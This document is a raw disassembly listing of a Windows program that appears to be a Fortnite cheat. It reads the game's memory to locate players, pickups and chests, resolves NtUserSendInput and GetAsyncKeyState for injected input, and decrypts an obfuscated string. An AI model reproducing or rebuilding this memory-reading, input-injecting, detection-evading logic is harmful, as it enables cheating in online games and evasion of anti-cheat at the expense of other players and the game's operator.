cmp rdx, 0x1000
jb 0x14000ee5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ee5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
movsd xmm0, qword [str.hTHJV__]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [0x14008da30]
mov dword [rbp + 0xe0], eax
cmp byte [0x14008da33], 0
je 0x14000efe0
mov r8d, r12d
cmp ebx, 2
jl 0x14000ef9d
movdqa xmm4, xmmword [0x14008e970]
movdqa xmm2, xmmword [0x14008e8d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
mov eax, dword [0x14008e980]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.hTHJV__]
xorps xmm2, xmm0
movd dword [rbp + 0xd8], xmm2
movdqa xmm3, xmmword [0x14008e8e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e8f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e960]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
sub al, cl
add al, 0x3a
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000efb0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x108]
call fcn.140003800
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000be10
nop
mov rcx, rax
call fcn.140004600
mov qword [0x14009c388], rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000f050
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f04b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f04b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140079b3c
call fcn.14002beb0
lea rcx, [0x14008e178]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x14000f171
lea rcx, str.user32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x14000f171
lea rdx, str.NtUserSendInput
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x14000f0d3
lea rdx, str.NtUserSendInput
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x14000f0d3
lea rdx, str.SendInput
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14000f171
lea rdx, str.NtUserGetAsyncKeyState
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14000f11b
lea rdx, str.NtUserGetAsyncKeyState
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14000f11b
lea rdx, str.GetAsyncKeyState
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
je 0x14000f171
movups xmm0, xmmword [rbx]
movups xmmword [0x14009c400], xmm0
movsd xmm1, qword [rbx + 0x10]
movsd qword [0x14009c410], xmm1
mov eax, dword [rbx + 0x18]
mov dword [0x14009c418], eax
movzx eax, word [rbx + 0x1c]
mov word [0x14009c41c], ax
movups xmm0, xmmword [rcx]
movups xmmword [0x14009c3e0], xmm0
movsd xmm1, qword [rcx + 0x10]
movsd qword [0x14009c3f0], xmm1
mov eax, dword [rcx + 0x18]
mov dword [0x14009c3f8], eax
movzx eax, word [rcx + 0x1c]
mov word [0x14009c3fc], ax
mov rdx, qword [0x14009c350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
xorps xmm8, xmm8
xorps xmm1, xmm1
movsd qword [rbp + 0x360], xmm1
test rdx, rdx
je 0x14000f1c3
mov qword [rsp + 0x20], r12
mov r9d, Ordinal_26
lea r8, [rbp + 0x350]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rdx, qword [0x14009c350]
movsd xmm1, qword [rbp + 0x360]
movsd xmm9, qword [0x14008e800]
movsd xmm0, qword [rbp + 0x350]
ucomisd xmm0, xmm9
jp 0x14000f1fb
jne 0x14000f1fb
movsd xmm0, qword [rbp + 0x358]
ucomisd xmm0, xmm9
jp 0x14000f1fb
jne 0x14000f1fb
ucomisd xmm1, xmm9
jp 0x14000f1fb
jne 0x14000f1fb
mov al, 1
jmp 0x14000f1fd
xor al, al
test al, al
je 0x14000f238
movaps xmm0, xmmword [0x14008e990]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x14008e820]
movsd qword [rbp + 0x100], xmm0
mov r9d, Ordinal_26
lea r8, [rbp + 0xf0]
mov rcx, qword [0x14009c4d8]
call fcn.140027630
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x14000f24a
cmp byte [0x14009b168], 0
je 0x14000f268
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x140011720]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movss xmm14, dword [0x14008e9a0]
movss xmm13, dword [0x14008e7dc]
movsd xmm12, qword [0x14008e7f0]
xorps xmm6, xmm6
lea rcx, [rsp + 0x40]
call fcn.140004480
mov rdi, qword [0x14009c550]
test rdi, rdi
jne 0x14000f2e7
mov rdx, qword [0x14009c540]
mov rdi, r12
mov qword [rbp + 0x2a0], r12
add rdx, qword [0x14009c2a8]
je 0x14000f2db
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x2a0]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rdi, qword [rbp + 0x2a0]
mov qword [0x14009c550], rdi
test rdi, rdi
je 0x14000f286
mov r14, qword [0x14009c548]
test r14, r14
jne 0x14000f342
mov rdx, qword [0x14009c540]
mov r14, r12
mov qword [rbp + 0x2a8], r12
add rdx, qword [0x14009c2d8]
je 0x14000f332
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x2a8]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov r14, qword [rbp + 0x2a8]
mov qword [0x14009c548], r14
test r14, r14
je 0x14000f286
cmp qword [0x14009c558], 0
jne 0x14000f3bb
mov rdx, qword [0x14009c540]
mov rax, r12
mov qword [rbp + 0x2b0], rax
add rdx, qword [0x14009c2b8]
je 0x14000f38b
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x2b0]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmm3, xmmword [rbp + 0xf0]
movups xmmword [0x14009c558], xmm3
unpckhpd xmm0, xmm0
movaps xmm2, xmm0
movsd qword [0x14009c568], xmm0
jmp 0x14000f3ca
movsd xmm2, qword [0x14009c568]
movups xmm3, xmmword [0x14009c558]
movsd qword [rbp + 0x5e0], xmm2
movq rbx, xmm3
test rbx, rbx
je 0x14000f286
mov rdx, qword [0x14009c3b0]
mov rcx, r12
mov qword [rbp + 0x148], rcx
add rdx, rbx
je 0x14000f41b
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x148]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x148]
mov rdx, qword [0x14009c378]
movaps xmm0, xmm6
movss dword [rbp + 0x150], xmm6
add rdx, rcx
je 0x14000f458
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, [rbp + 0x150]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
movss xmm0, dword [rbp + 0x150]
movss dword [0x14009b178], xmm0
mov rdx, qword [0x14009c3b0]
mov rcx, r12
mov qword [rbp + 0x130], rcx
add rdx, rbx
je 0x14000f49b
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x130]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x130]
mov rdx, qword [0x14009c390]
movss dword [rbp + 0xd0], xmm6
movss dword [rbp + 0x128], xmm6
add rdx, rcx
je 0x14000f4e5
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, [rbp + 0x128]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
movss xmm0, dword [rbp + 0x128]
movss dword [rbp + 0xd0], xmm0
mov rdx, qword [0x14009b138]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b8], xmm0
add rdx, rdi
je 0x14000f519
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x2b8]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov eax, dword [rbp + 0x2c4]
cmp dword [rbp + 0x2c0], eax
ja 0x14000f286
mov rdx, qword [rbp + 0x2b8]
mov rcx, qword [0x14009c4d8]
call fcn.140027b30
test al, al
je 0x14000f286
xor edx, edx
lea rcx, [rbp + 0x2b8]
call fcn.140015580
mov qword [0x14009c260], rax
lea rcx, [rbp + 0x3e0]
call fcn.140004c60
nop
cmp qword [rbp + 0x4c8], 0
jne 0x14000f5bd
mov rdx, qword [rbp + 0x428]
cmp rdx, 0xf
jbe 0x14000f286
inc rdx
mov rcx, qword [rbp + 0x410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001141f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001141f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 0x78
call fcn.140079b00
mov qword [rbp + 0xd8], rax
mov rcx, rax
call fcn.140001bf0
mov r13, rax
mov word [rsp + 0x3a], 0xffff
mov byte [rsp + 0x39], 0xff
mov ecx, dword [0x14009c57c]
cmp dword [0x14009c578], ecx
ja 0x14000f60a
mov rdx, qword [0x14009c570]
mov rcx, qword [0x14009c4d8]
call fcn.140027b30
test al, al
jne 0x14000f647
mov rdx, qword [0x14009c540]
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
add rdx, qword [0x14009c2f8]
je 0x14000f640
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x60]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
movups xmm0, xmmword [rbp + 0x60]
movups xmmword [0x14009c570], xmm0
mov rcx, qword [0x14009c578]
mov rax, rcx
shr rax, 0x20
cmp ecx, eax
ja 0x14000f572
mov rdx, qword [0x14009c570]
mov rcx, qword [0x14009c4d8]
call fcn.140027b30
test al, al
je 0x14000f572
mov word [rsp + 0x39], 0
mov byte [rsp + 0x38], 0
mov rcx, qword [rbp + 0x3e0]
test rcx, rcx
jne 0x14000f726
mov rax, qword [rbp + 0x4d0]
test rax, rax
jne 0x14000f6e4
mov rdx, qword [rbp + 0x4c8]
mov rax, r12
mov qword [rbp + 0x318], rax
add rdx, qword [0x14009c3a0]
je 0x14000f6dd
mov qword [rsp + 0x20], r12
lea r9d, [rcx + 8]
lea r8, [rbp + 0x318]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x4d0], rax
lea rdx, [rax + 0x338]
mov rcx, r12
mov qword [rbp + 0x310], rcx
test rdx, rdx
je 0x14000f71f
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x310]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x310]
mov qword [rbp + 0x3e0], rcx
mov rdx, qword [0x14009c2c8]
add rdx, rcx
mov rcx, r12
mov qword [rbp + 0x130], rcx
je 0x14000f761
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x130]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x130]
mov qword [0x14009c270], rcx
mov rdx, qword [0x14009c2a0]
add rdx, rcx
mov rcx, r12
mov qword [rbp + 0x148], rcx
je 0x14000f7a3
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x148]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x148]
test rcx, rcx
jne 0x14000f7c4
lea rdx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x158]
call fcn.140003800
or r15d, 2
jmp 0x14000f849
mov r10, qword [0x14009c300]
mov rdx, r12
mov qword [rbp + 0x308], rdx
add r10, rcx
je 0x14000f802
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x308]
mov rdx, r10
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rdx, qword [rbp + 0x308]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rax
test rdx, rdx
je 0x14000f835
mov qword [rsp + 0x20], r12
lea r9d, [rax + 0x38]
lea r8, [rbp - 0x10]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x10]
call fcn.140004800
or r15d, 6
mov dword [rsp + 0x50], r15d
cmp byte [reloc.WS2_32.dll_accept], 0
jne 0x14000f864
cmp byte [0x14009b168], 0
je 0x14000fe82
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
mov qword [rbp + 0x188], r12
mov rax, qword [0x14009c4c8]
cmp qword [0x14009c4c0], rax
je 0x14000f899
lea rdx, [0x14009c4c0]
lea rcx, [rbp + 0x178]
call fcn.140012330
mov rsi, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x178]
cmp rcx, rsi
je 0x14000fe02
lea rdi, [rcx + 0x18]
nop dword [rax]
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov qword [rbp + 0x370], rax
movups xmm0, xmmword [rdi - 0x10]
movups xmmword [rbp + 0x378], xmm0
movsd xmm0, qword [rdi]
movsd qword [rbp + 0x388], xmm0
mov rax, qword [rdi + 8]
mov qword [rbp + 0x390], rax
mov eax, dword [rdi + 0x10]
mov dword [rbp + 0x398], eax
lea rdx, [rdi + 0x18]
lea rcx, [rbp + 0x3a0]
call fcn.140001ad0
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x370]
call fcn.1400017a0
movups xmm0, xmmword [rbp + 0xf0]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [rbp + 0x100]
movsd qword [rbp + 0x140], xmm0
lea r8, [rbp + 0x130]
lea rdx, [rbp + 0xb0]
mov rcx, r13
call fcn.140001f80
movsd xmm7, qword [rbp + 0xb0]
comisd xmm7, xmm8
jbe 0x14000fd9f
movsd xmm6, qword [rbp + 0xb8]
comisd xmm6, xmm8
jbe 0x14000fd9f
mov dword [rsp + 0x34], 0xffffff00
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x370]
call fcn.1400018e0
cmp qword [rax + 0x18], 0xf
jbe 0x14000f996
mov rax, qword [rax]
lea rdx, str.FortPickupAthena
mov rcx, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rbx, rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14000f9e4
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f9df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011429
call fcn.140079b3c
test rbx, rbx
je 0x14000fc14
mov qword [rbp + 0x190], r12
movsd qword [rbp + 0x198], xmm8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov dword [rbp + 0x1b8], r12d
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x1c0]
call fcn.140003800
mov qword [rbp + 0x1b0], r12
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x1e0]
call fcn.140003800
mov word [rbp + 0x200], 0
mov qword [rbp + 0x208], r12
mov rcx, qword [rbp + 0x370]
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x1b0], r12
mov rdx, qword [0x14009c360]
add rdx, rcx
add rdx, qword [0x14009c2d0]
mov rcx, r12
mov qword [rbp + 0x130], rcx
je 0x14000faa9
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x130]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rcx, qword [rbp + 0x130]
mov qword [rbp + 0x208], rcx
mov rdx, qword [0x14009c278]
xor al, al
mov byte [rbp + 0xe8], al
add rdx, rcx
je 0x14000fae9
mov qword [rsp + 0x20], r12
mov r9d, 1
lea r8, [rbp + 0xe8]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
movzx eax, byte [rbp + 0xe8]
mov byte [rbp + 0x201], al
cmp al, 0x17
je 0x14000fb11
lea rcx, [rbp + 0x190]
call fcn.1400114d0
nop
lea rcx, [rbp + 0x370]
call fcn.140004bf0
jmp 0x14000fde0
lea rcx, [rbp + 0x190]
call fcn.1400298c0
movzx eax, al
dec eax
cmp eax, 5
ja case.default.0x14000fb3a
cdqe
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x11478]
add rcx, rdx
jmp rcx
mov ebx, 0xffe2c6a0
mov dword [rsp + 0x34], ebx
jmp 0x14000fb82
mov ebx, 0xff8bce3d
mov dword [rsp + 0x34], ebx
jmp 0x14000fb82
mov ebx, 0xff71bfee
mov dword [rsp + 0x34], ebx
jmp 0x14000fb82
mov ebx, 0xffe39ff8
mov dword [rsp + 0x34], ebx
jmp 0x14000fb82
mov ebx, 0xfffcd01e
mov dword [rsp + 0x34], ebx
jmp 0x14000fb82
mov ebx, 0xffeac50c
mov dword [rsp + 0x34], ebx
jmp 0x14000fb82
mov ebx, dword [rsp + 0x34]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x190]
call fcn.1400296a0
cvttsd2si r9d, xmm6
cvttsd2si r8d, xmm7
mov dword [rsp + 0x20], ebx
mov rdx, rax
call fcn.140029230
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x14000fbea
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fbe5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011430
call fcn.140079b3c
mov qword [rbp + 0x1f0], r12
mov qword [rbp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1e0], 0
lea rcx, [rbp + 0x190]
call fcn.140004bf0
jmp 0x14000fd60
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x370]
call fcn.1400018e0
cmp qword [rax + 0x18], 0xf
jbe 0x14000fc2f
mov rax, qword [rax]
lea rdx, str.Chest
mov rcx, rax
call qword [sym.imp.VCRUNTIME140.dll_strstr]
mov rbx, rax
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x14000fc7f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011437
call fcn.140079b3c
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x58], 0
test rbx, rbx
je 0x14000fd60
mov qword [rbp + 0x190], r12
movsd qword [rbp + 0x198], xmm8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov dword [rbp + 0x1b8], r12d
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x1c0]
call fcn.140003800
mov qword [rbp + 0x1b0], r12
mov rcx, qword [rbp + 0x370]
mov qword [rbp + 0x190], rcx
mov rdx, qword [0x14009c268]
xor al, al
mov byte [rbp + 0xe8], al
add rdx, rcx
je 0x14000fd24
mov qword [rsp + 0x20], r12
mov r9d, 1
lea r8, [rbp + 0xe8]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
movzx eax, byte [rbp + 0xe8]
test al, 4
jne 0x14000fd53
lea rdx, str.Chest
lea rcx, [rbp - 0x70]
call fcn.140003800
cvttsd2si r9d, xmm6
cvttsd2si r8d, xmm7
mov ecx, dword [rsp + 0x34]
mov dword [rsp + 0x20], ecx
mov rdx, rax
call fcn.140029230
nop
lea rcx, [rbp + 0x190]
call fcn.140004bf0
nop
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x14000fde0
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fddb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fddb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, qword [rbp + 0x3b8]
cmp rdx, 0xf
jbe 0x14000fde0
inc rdx
mov rcx, qword [rbp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fddb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001143e
call fcn.140079b3c
add rdi, 0x50
lea rax, [rdi - 0x18]
cmp rax, rsi
jne 0x14000f8c0
mov rsi, qword [rbp + 0x180]
mov rcx, qword [rbp + 0x178]
xorps xmm6, xmm6
test rcx, rcx
je 0x14000fe82
mov rdx, rsi
call fcn.14001c180
mov rcx, qword [rbp + 0x188]
mov r8, qword [rbp + 0x178]
sub rcx, r8
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 4
mov rax, r8
cmp rdx, 0x1000
jb 0x14000fe68
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011445
mov rcx, r8
call fcn.140079b3c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x178], xmm0
mov qword [rbp + 0x188], r12
mov rdx, qword [0x14009c2e8]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
add rdx, r14
je 0x14000feb6
mov qword [rsp + 0x20], r12
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0xc0]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov eax, dword [rbp + 0xcc]
cmp dword [rbp + 0xc8], eax
ja 0x14000ff1e
mov rdx, qword [rbp + 0xc0]
mov rcx, qword [0x14009c4d8]
call fcn.140027b30
test al, al
je 0x14000ff1e
cmp dword [rbp + 0xc8], 0xaaa
jbe 0x14000ff7d
lea rdx, str.PlayerStateArray.Count_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018dc0
mov edx, dword [rbp + 0xc8]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
lea rdx, [0x140018d80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x14000ff5f
inc rdx
mov rcx, qword [rbp + 0x158]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000ff5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140011468
call fcn.140079b3c
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x158], 0
jmp 0x1400113e3
movsd xmm10, qword [0x14008e868]
mov eax, dword [0x14009b134]
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
mulss xmm0, xmm13
cvtps2pd xmm15, xmm0
mov eax, dword [0x14009b130]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
mulss xmm1, xmm13
cvtps2pd xmm11, xmm1
movsd qword [rbp + 0x130], xmm11
mov qword [rbp + 0x4e0], r12
movsd qword [rbp + 0x4e8], xmm8
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov dword [rbp + 0x508], r12d
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x510]
call fcn.140003800
mov qword [rbp + 0x500], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x530], xmm0
movsd qword [rbp + 0x540], xmm8
mov byte [rbp + 0x548], 0
mov qword [rbp + 0x550], r12
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], r12
mov qword [rbp + 0x568], r12
movups xmmword [rbp + 0x570], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x580], xmm1
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm1
movups xmmword [rbp + 0x5b0], xmm0
movsd qword [rbp + 0x5c0], xmm8
mov qword [rbp + 0x4e0], r12
mov r14d, r12d
mov r15d, dword [rbp + 0xc8]
cmp r14d, r15d
je 0x14001075a
mov edx, r14d
lea rcx, [rbp + 0xc0]
call fcn.140015580
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r12
mov rdx, qword [0x14009c328]
mov rbx, r12
mov qword [rbp + 0x300], rbx
add rdx, rax
je 0x1400100d0
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x300]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rbx, qword [rbp + 0x300]
mov qword [rbp + 0x190], r12
movsd qword [rbp + 0x198], xmm8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov dword [rbp + 0x1b8], r12d
lea rdx, [0x14008bbf0]
lea rcx, [rbp + 0x1c0]
lea ecx, [rbp + 0x1c0]
call fcn.140003800
mov qword [rbp + 0x1b0], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
movsd qword [rbp + 0x1f0], xmm8
mov byte [rbp + 0x1f8], 0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x208], r12
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], r12
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x230], xmm1
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm1
movups xmmword [rbp + 0x260], xmm0
movsd qword [rbp + 0x270], xmm8
mov qword [rbp + 0x190], rbx
test rbx, rbx
je 0x140010711
mov rax, qword [rbp + 0x3e0]
test rax, rax
jne 0x14001022c
cmp qword [rbp + 0x4d0], rax
jne 0x1400101e6
mov rdx, qword [rbp + 0x4c8]
mov rax, r12
mov qword [rbp + 0x2f8], rax
add rdx, qword [0x14009c3a0]
je 0x1400101df
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x2f8]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x4d0], rax
mov rdx, qword [rbp + 0x4d0]
mov rax, r12
mov qword [rbp + 0x2e8], rax
add rdx, 0x338
je 0x140010225
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x2e8]
mov rcx, qword [0x14009c4d8]
call fcn.140027740
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x3e0], rax
